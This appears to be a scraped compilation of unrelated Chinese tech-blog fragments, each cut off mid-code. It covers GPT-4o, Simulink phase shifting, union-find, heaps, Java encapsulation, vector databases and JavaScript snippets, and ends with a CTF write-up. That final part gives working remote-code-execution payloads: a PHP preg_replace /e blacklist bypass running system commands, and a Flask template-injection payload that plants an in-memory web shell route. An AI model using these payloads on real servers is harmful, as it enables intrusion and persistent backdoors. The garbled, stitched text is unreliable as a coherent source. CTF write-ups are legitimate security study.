早在 5 月 11 日,Sam 就在推文中表示:OpenAI 并没有推出 GPT-5,或搜索引擎,但团队一直在努力研发一些认为大家会喜欢的新东西(感觉就像是魔法一样)!
添加图片注释,不超过 140 字(可选)
现在来看应该说的就是 GPT-4o 了,它在免费和付费账户中均可使用(应该是目前最强的免费模型了)。除此之外,ChatGPT 页面也进行了许多细节方面的优化,并且推出了桌面应用,进一步提升用户体验。
一、什么是GPT-4o GPT-4o(“o”代表“omni”)是 OpenAI 在实现更自然人机交互方面的重要进展(Hello GPT-4o[1])。它能够接受文本、音频和图像的任意组合输入,并生成相应的输出,包括文本、音频和图像。该模型在音频输入的响应时间非常短,最短可达 232 毫秒,平均为 320 毫秒,接近人类对话的反应时间。在文本(英语)和代码方面,GPT-4o 的表现与 GPT-4 Turbo 相当,但在处理非英语语言文本方面有显著提升,同时在 API 中的速度更快且成本降低 50%。此外,GPT-4o 在视觉和音频理解方面表现尤为出色。
在 GPT-4o 之前,使用语音模式与 ChatGPT 对话的平均延迟时间分别为 GPT-3.5 的 2.8 秒和 GPT-4 的 5.4 秒。实现这一功能的流水线涉及三个独立模型(音频 → 文本 → 音频):一个用于将音频转录为文本,GPT-3.5 或 GPT-4 处理文本并生成文本,然后第三个模型将文本转换回音频。这种方式导致 GPT-4 无法直接感知语调、多位说话者或背景噪音,也无法生成笑声、歌唱或表达情感。
为了克服这些局限,OpenAI 训练了一个新的端到端跨文本、视觉和音频的单一模型(GPT-4o),这意味着所有输入和输出都由同一个神经网络处理。由于这是 OpenAI 第一个结合所有这些模态的模型,因此其功能和局限性仍在探索中。
它将首先在 ChatGPT 和 API 中作为文本和视觉模型提供(ChatGPT 将继续通过现有的语音模式功能支持语音)。具体来说,GPT-4o 将在 ChatGPT 免费版、Plus 版和团队版(企业版即将推出)以及 Chat Completions API、Assistants API 和 Batch API 中提供。
复数移相,也称为复数相位旋转,就是在原有复数的基础上,不改变模数,只把相位角做一定的偏移。
文章目录 前言
三角函数移相
复数乘法移相
分析和应用
总结
前言 见《【研发日记】Matlab/Simulink技能解锁(二)——在Function编辑窗口Debug》
见《【研发日记】Matlab/Simulink技能解锁(三)——在Stateflow编辑窗口Debug》
见《【研发日记】Matlab/Simulink技能解锁(四)——在Simulink Debugger窗口调试》
见《【研发日记】Matlab/Simulink技能解锁(五)——七个Simulink布线技巧》
见《【研发日记】Matlab/Simulink技能解锁(六)——六种Simulink模型架构》
三角函数移相 三角函数移相法,是利用模数和实部虚部之间的三角函数关系,从原复数求得新复数。在Simulink中建立的移相函数,如下所示:
Tips: offset的范围在-π到π之间,输入接口要做溢出处理。
上述模型编译出来的代码,如下所示:
#include "PhaseOffset.h" #include "PhaseOffset_private.h" /* External inputs (root inport signals with default storage) */ ExtU_PhaseOffset_T PhaseOffset_U; /* External outputs (root outports fed by signals with default storage) */ ExtY_PhaseOffset_T PhaseOffset_Y; /* Real-time model */ static RT_MODEL_PhaseOffset_T PhaseOffset_M_; RT_MODEL_PhaseOffset_T *const PhaseOffset_M = &PhaseOffset_M_; real_T rt_atan2d_snf(real_T u0, real_T u1) { real_T y; int32_T u0_0; int32_T u1_0; if (rtIsNaN(u0) || rtIsNaN(u1)) { y = (rtNaN); } else if (rtIsInf(u0) && rtIsInf(u1)) { if (u0 > 0.
目录
1. 并查集的概念
2. 并查集的实现
3. 并查集的应用
3.1 力扣LCR 116. 省份数量
解析代码1
解析代码2
3.2 力扣990. 等式方程的可满足性
解析代码
本篇完。
写在前面:
此高阶数据结构系列,虽然放在⑤数据结构与算法专栏,但还是作为一个拓展学习,建议跳过第⑤序号跟着其它专栏序号学,当时是想着要期末考和考研的同学,考到图才开这个专栏的吧,其他不急的同学可以在学完MySQL专栏后再看,此系列也放在了⑩其它高阶数据结构专栏,这里简单学习并查集是为了下一个数据结构“图”的学习。
1. 并查集的概念 并查集是一种树型的数据结构,用于处理一些不相交集合的合并及查询问题。并查集通常用森林来表示,森林中的每棵树表示一个集合,树中的结点对应一个元素。 虽然利用其它数据结构也能完成不相交集合的合并及查询,但在数据量极大的情况下,其耗费的时间和空间也是极大的。
在一些应用问题中,需要将n个不同的元素划分成一些不相交的集合。开始时,每个元素自成一个单元素集合,然后按一定的规律将归于同一组元素的集合合并。在此过程中要反复用到查询某一 个元素归属于那个集合的运算。适合于描述这类问题的抽象数据类型称为并查集(union-find set)。
并查集是多个独立集合的合集,用于表示数据之间的关系,并查集中的每一个集合是用多叉树来表示的。
比如:某公司今年校招全国总共招生10人,西安招4人,成都招3人,武汉招3人,10个人来自不 同的学校,起先互不相识,每个学生都是一个独立的小团体,现给这些学生进行编号:{0, 1, 2, 3, 4, 5, 6, 7, 8, 9}; 给以下数组用来存储该小集体,数组中的数字代表:该小集体中具有成员的个 数。数组中某个位置的值为负数,表示该位置是树的根,这个负数的绝对值表示的这棵树(集合)中数据的个数,因为刚开始每个人各自属于一个集合,所以将数组中的位置都初始化为-1。
毕业后,学生们要去公司上班,每个地方的学生自发组织成小分队一起上路,于是:西安学生小分队s1={0,6,7,8},成都学生小分队s2={1,4,9},武汉学生小分队s3={2,3,5}就相互认识了,10个人形成了三个小团体。假设右三个群主0,1,2担任队长,负责大家的出行。
一趟火车之旅后,每个小分队成员就互相熟悉,称为了一个朋友圈。
从上图可以看出:编号6,7,8同学属于0号小分队,该小分队中有4人(包含队长0);编号为4和9的同 学属于1号小分队,该小分队有3人(包含队长1),编号为3和5的同学属于2号小分队,该小分队有3 个人(包含队长1)。 仔细观察数组中内变化,可以得出以下结论:
数组的下标对应集合中元素的编号。数组中如果为负数,负号代表根,数字代表该集合中元素个数。数组中如果为非负数,代表该元素双亲在数组中的下标。 在公司工作一段时间后,西安小分队中8号同学与成都小分队1号同学奇迹般的走到了一起,两个小圈子的学生相互介绍,最后成为了一个小圈子:
现在0集合有7个人,2集合有3个人,总共两个朋友圈。通过以上例子可知,并查集一般可以解决一下问题:
查找元素属于哪个集合:沿着数组表示树形关系以上一直找到根(即:树中中元素为负数的位置)。查看两个元素是否属于同一个集合:沿着数组表示的树形关系往上一直找到树的根,如果根相同表明在同一个集合,否则不在。将两个集合归并成一个集合:将两个集合中的元素合并,将一个集合名称改成另一个集合的名称。集合的个数:遍历数组,数组中元素为负数的个数即为集合的个数。 2. 并查集的实现 代码实现还是很简单的,直接放出代码:(建议复制到自己编译器跟着注释一起看)
#pragma once #include <iostream> #include <vector> using namespace std; class UnionFindSet { private: vector<int> _ufs; public: UnionFindSet(size_t size) // 初始时,将数组中元素全部设置为1 : _ufs(size, -1) {} int FindRoot(int index) // 给一个元素的编号,找到该元素所在集合的名称 { int root = index; while (_ufs[root] >= 0) // 如果数组中存储的是负数,找到,否则一直继续 { root = _ufs[root]; } while (_ufs[index] >= 0) // 路径压缩 { int parent = _ufs[index]; _ufs[index] = root; index = parent; } return index; } bool InSet(int x1, int x2) { return FindRoot(x1) == FindRoot(x2); } bool Union(int x1, int x2) // 合并两个集合 { int root1 = FindRoot(x1); int root2 = FindRoot(x2); if (root1 == root2) // x1已经与x2在同一个集合 return false; if (abs(_ufs[root1]) < abs(_ufs[root2])) // 控制数据量小的往大的集合合并 swap(root1, root2); _ufs[root1] += _ufs[root2]; // 负号代表根,数字代表该集合中元素个数 _ufs[root2] = root1; // 将其中一个集合名称改变成另外一个 return true; } size_t Count() const // 数组中负数的个数,即为集合的个数 { size_t count = 0; for (auto e : _ufs) { if (e < 0) ++count; } return count; } }; void TestUFS() { UnionFindSet u(10); u.
✨✨ 欢迎大家来到贝蒂大讲堂✨✨
🎈🎈养成好习惯,先赞后看哦~🎈🎈
所属专栏:数据结构与算法
贝蒂的主页:Betty’s blog
1. 堆的概念 堆(Heap)是计算机科学中一类特殊的数据结构。堆通常是一个可以被看作一棵完全二树的数组对象,若满足:
任意节点的值>=其子节点的值。则称为大根堆。任意节点的值<=其子节点的值。则称为小根堆。 2. 堆的实现方式 虽然堆是一种特殊的二叉树,它既可以用数组存储也可以用链式存储。但是考虑到其完全二叉树的特性,我们最好采用数组存储的方式,因为这样既方便访问,也并不会浪费格外的空间。
假设某个合法下标为i:
若双亲节点存在,下标为(i-1)/2。若孩子节点存在,左孩子下标为2i+1,右孩子为2i+2。 3. 堆的功能 堆的初始化。堆的插入。堆的删除。获取堆顶的元素。堆的元素个数。堆的判空。输出堆。建堆。销毁堆。 4. 堆的声明 因为我用数组实现堆,所以堆的声明与顺序表类似。
typedef int HpDataType; typedef struct Heap { HpDataType* a;//存储数据 int size;//大小 int capacity;//容量 }Heap; 5. 堆的实现 5.1. 堆的初始化 5.1.1. 代码实现 void HeapInit(Heap* hp)//堆的初始化 { assert(hp); hp->a = NULL; hp->size = hp->capacity = 0; } 5.1.2. 复杂度分析 时间复杂度:没有额外的时间消耗,时间复杂度为O(1)。空间复杂度:没有额外的空间消耗,空间复杂度为O(1)。 5.2. 堆的插入 当我们堆进行插入时可能会破坏堆的原有结构,这时就需要我们对其进行向上调整。
5.2.1. 代码实现 void AdjustUp(Heap* hp, int child)//向上调整 { int parent = (child - 1) / 2; while (child > 0) { if (hp->a[child] > hp->a[parent]) { swap(&hp->a[child], &hp->a[parent]); child = parent; parent = (child - 1) / 2; } else { break; } } } void HeapPush(Heap* hp, HpDataType x)//堆的插入 { assert(hp); if (hp->size == hp->capacity) { int newCapacity = hp->capacity == 0 ?
1.封装 1.1封装概念 面向对象程序三大特性:封装、继承、多态 。而类和对象阶段,主要研究的就是封装特性。 Java中的封装是指将类的数据和操作封装在一个单元内,对外部隐藏内部实现细节,并通过访问修饰符控制对类的成员的访问权限。
封装的关键在于使用访问修饰符来控制对类的成员的访问权限。Java提供了几种访问修饰符:
通过封装,我们可以隐藏类的内部实现细节,只暴露必要的方法给外部使用。这样可以提高代码的安全性和可维护性,同时还可以提供一些额外的功能,如数据验证、数据转换等。
下面是一个简单的示例代码,演示了如何使用封装:
public class Person { private String name; private int age; public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { if (age < 0) { throw new IllegalArgumentException("Age can't be negative"); } this.age = age; } } public class Main { public static void main(String[] args) { Person person = new Person(); person.
在人工智能时代,向量数据库已成为数据管理和AI模型不可或缺的一部分。向量数据库是一种专门设计用来存储和查询向量嵌入数据的数据库。这些向量嵌入是AI模型用于识别模式、关联和潜在结构的关键数据表示。随着AI和机器学习应用的普及,这些模型生成的嵌入包含大量属性或特征,使得它们的表示难以管理。这就是为什么数据从业者需要一种专门为处理这种数据而开发的数据库,这就是向量数据库的用武之地。
向量库与向量数据库的区别 向量库和向量数据库之间的主要区别在于,向量库用于对向量进行数学运算和几何计算,而向量数据库用于存储、搜索和管理大规模向量数据集,例如嵌入,用于机器学习和数据科学应用。 向量库,如NumPy,提供广泛的数学运算和函数,用于处理向量、矩阵和高维数组。它们优化了性能,并在科学计算、数据分析和学习中被广泛使用。向量库适用于小到中等规模的数据集,并且不提供内置的高维向量相似性搜索或大规模数据管理的支持。 另一方面,向量数据库,如Milvus、Pinecone和Weaviate,旨在处理大规模向量数据集,并提供高效的向量相似性搜索和管理功能。它们支持高维向量,并提供先进的索引技术,如HNSW、IVF和PQ,以实现快速和准确的向量相似性搜索。向量数据库还提供可扩展性和容错性,使其适合生产环境和实际应用。
向量数据库为向量嵌入的独特结构提供了高效的存储和查询能力。它们通过发现相似性,为简单搜索、高速度、可扩展性和数据检索打开了大门。
16个最佳向量数据库推荐 1. Pinecone Pinecone: www.pinecone.io/
没有开源
解决问题:
Pinecone是一个托管的、云原生的向量数据库,具有简单的API,无需任何基础设施要求。用户可以快速启动、操作和扩展他们的AI解决方案,无需进行任何基础设施维护、服务监控或算法调试。
该解决方案能够快速处理数据,并允许用户使用元数据过滤器和稀疏-密集索引支持来实现高质量的相关性,确保在各种搜索需求下都能快速准确地获得结果。
Pinecone的关键特性包括:
重复检测:帮助用户识别和删除重复的数据排名跟踪:跟踪数据在搜索结果中的排名,有助于优化和调整搜索策略数据搜索:快速搜索数据库中的数据,支持复杂的搜索条件分类:对数据进行分类,便于管理和检索去重:自动识别和删除重复数据,保持数据集的纯净和一致性 2. MongoDB MongoDB: www.mongodb.com/
GitHub stars: 25.2k
解决问题:
处理多种事务性和搜索工作负载:MongoDB Atlas是托管的开发者数据平台,能够处理各种复杂的数据管理任务。向量搜索功能:Atlas Vector Search使用专门的向量索引,可以与核心数据库自动同步,提供集成数据库的独立扩展优势。 MongoDB Atlas的关键特性包括:
集成数据库+向量搜索能力:提供强大的数据库功能和向量搜索能力独立提供数据库和搜索索引:允许用户独立配置和扩展数据库和搜索索引数据存储:每个文档可存储高达16 MB的数据高可用性、强事务保证、多级数据持久性、存档和备份:确保数据的安全和可靠性行业领先的交易数据加密:保护数据免受未授权访问混合搜索:结合多种搜索功能,提供灵活和强大的搜索体验 3. Milvus Milvus: milvus.io/
GitHub stars: 21.1k
解决问题:
Milvus是一个开源的向量数据库,旨在促进向量嵌入、高效相似搜索和AI应用。它于2019年10月以开源Apache 2.0许可证发布,目前是LF AI & Data Foundation赞助的毕业项目。该工具简化了非结构化数据的搜索,并提供了与部署环境无关的统一用户体验。为了提高弹性和适应性,Milvus 2.0重构版本中的所有组件都是无状态的。Milvus的应用案例包括图像搜索、聊天机器人和化学结构搜索。 Milvus的关键特性包括:
毫秒级搜索万亿级向量数据集简单管理非结构化数据可靠的向量数据库,始终可用高度可扩展和适应性强混合搜索统一的Lambda结构受到社区支持,得到行业认可 4. Chroma Chroma: www.trychroma.com/
GitHub stars: 7k
解决问题:
Chroma DB是一个开源的、AI本地的嵌入式向量数据库,旨在简化通过使知识、事实和技能对大型语言模型(LLM)规模上的机器学习模型可插拔,从而创建由自然语言处理驱动的LLM应用程序的过程,同时避免幻觉。许多工程师都希望能够拥有一个“为数据设计的ChatGPT”,Chroma通过基于嵌入的文档检索提供了这种链接。它还提供了一站式服务,团队需要存储、嵌入和查询数据的一切都在其中,包括强大的过滤功能,还有如智能分组和查询相关性等更多功能即将推出。 Chroma的关键特性包括:
功能丰富:支持查询、过滤、密度估计等多种功能即将添加的语言链(LangChain)、LlamaIndex等更多功能相同的API可以在Python笔记本中运行,也可以扩展到集群,用于开发、测试和生产 5. Weaviate Weaviate: github.com/weaviate/we…
GitHub stars: 6.7k
最后 由于文档内容过多,为了避免影响到大家的阅读体验,在此只以截图展示部分内容
开源分享:【大厂前端面试题解析+核心总结学习笔记+真实项目实战+最新讲解视频】
}
}
this.WebSetMsgByName(“USERNAME”, this.UserName); // 加载UserName
this.WebSetMsgByName(“FILENAME”, this.FileName); // 加载FileName
this.WebSetMsgByName(“FILETYPE”, this.FileType); // 加载FileType
this.WebSetMsgByName(“RECORDID”, this.RecordID); // 加载RecordID
this.WebSetMsgByName(“EDITTYPE”, this.EditType); // 加载RecordID
this.WebSetMsgByName(“OPTION”, “LOADFILE”); // 发送请求LOADFILE
从jsp页面中之前定义属性获取值。
if (this.LOADFILE(httpclient)) // Http下载服务器文件
this.LOADFILE(httpclient))方法从服务器开始下载文件,代码中
this.LOADFILE = function(httpclient)
{
this.Status =
“”;
httpclient.ShowProgressUI =
this.ShowWindow;
this.ConsoleOut(
“ 开始打开链接…”);
if (httpclient.Open(
this.HttpMethod.Post,
this.WebUrl,
false))
// true
// 异步方式
// false同步
{
this.ConsoleOut(
“ 链接打开成功,开始进行数据包发送…”);
// 这里采用异步方式打开文档
if (httpclient.Send()) {
this.ConsoleOut(
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上物联网嵌入式知识点,真正体系化!
由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、电子书籍、讲解视频,并且后续会持续更新
如果你需要这些资料,可以戳这里获取
}); this.recorder.startRecording(); }).catch(function(err) {
console.log(err);
console.log(‘当前浏览器不支持开启麦克风!’);
that.voiceStatus = false
});
},
在sendData中可以把数据流传给后端,可以播放/下载采集到的数据流,也可以将数据流转换成file传给后端 sendData(blob) {
var BB =new Blob([blob], {‘type’: ‘audio/wav; codecs=opus’})
// var audioURL = window.URL.createObjectURL(BB)
// 播放
// const audio = document.createElement(‘audio’)
// audio.controls = true // 音频是否显示控件
// audio.src = audioURL
// audio.play()
// 下载
// let a = document.createElement(“a”);
// a.href = audioURL;
// a.download = ‘测试’;
// a.click();
// // 释放这个临时的对象url
// window.
目录
Please_RCE_Me
ezFlask
GoJava ez_tp
GPTS
Please_RCE_Me <?php if($_GET['moran'] === 'flag'){ highlight_file(__FILE__); if(isset($_POST['task'])&&isset($_POST['flag'])){ $str1 = $_POST['task']; $str2 = $_POST['flag']; if(preg_match('/system|eval|assert|call|create|preg|sort|{|}|filter|exec|passthru|proc|open|echo|`| |\.|include|require|flag/i',$str1) || strlen($str2) != 19 || preg_match('/please_give_me_flag/',$str2)){ die('hacker!'); }else{ preg_replace("/please_give_me_flag/ei",$_POST['task'],$_POST['flag']); } } }else{ echo "moran want a flag.</br>(?moran=flag)"; } preg_replace() /e代码执行漏洞-CSDN博客
正则开启了大小写匹配,可以大小写绕过
黑名单ban得有点多,建议直接转接绕过
task=$_POST[1]($_POST[2]);&flag=Please_give_me_flag&1=system&2=tac /f* 或者读文件
在线16进制字符串转换工具 - 在线工具网
task=var_dump(file_get_contents(hex2bin("2f666c6167")));&flag=Please_give_me_flag ezFlask 无回显,想着打flask内存马
新版FLASK下python内存马的研究
flask_memory_shell/README.md at main · iceyhexman/flask_memory_shell · GitHub
一种payload:
cmd=render_template_string("{{url_for.__globals__['__builtins__']['eval'](\"app.add_url_rule('/shell', 'myshell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd')).read())\",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}") /shell?cmd=grep+-rl+"flag{"+/etc /shell?cmd=cat+/etc/jaygalf 另一种payload:
cmd=__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda :__import__('os').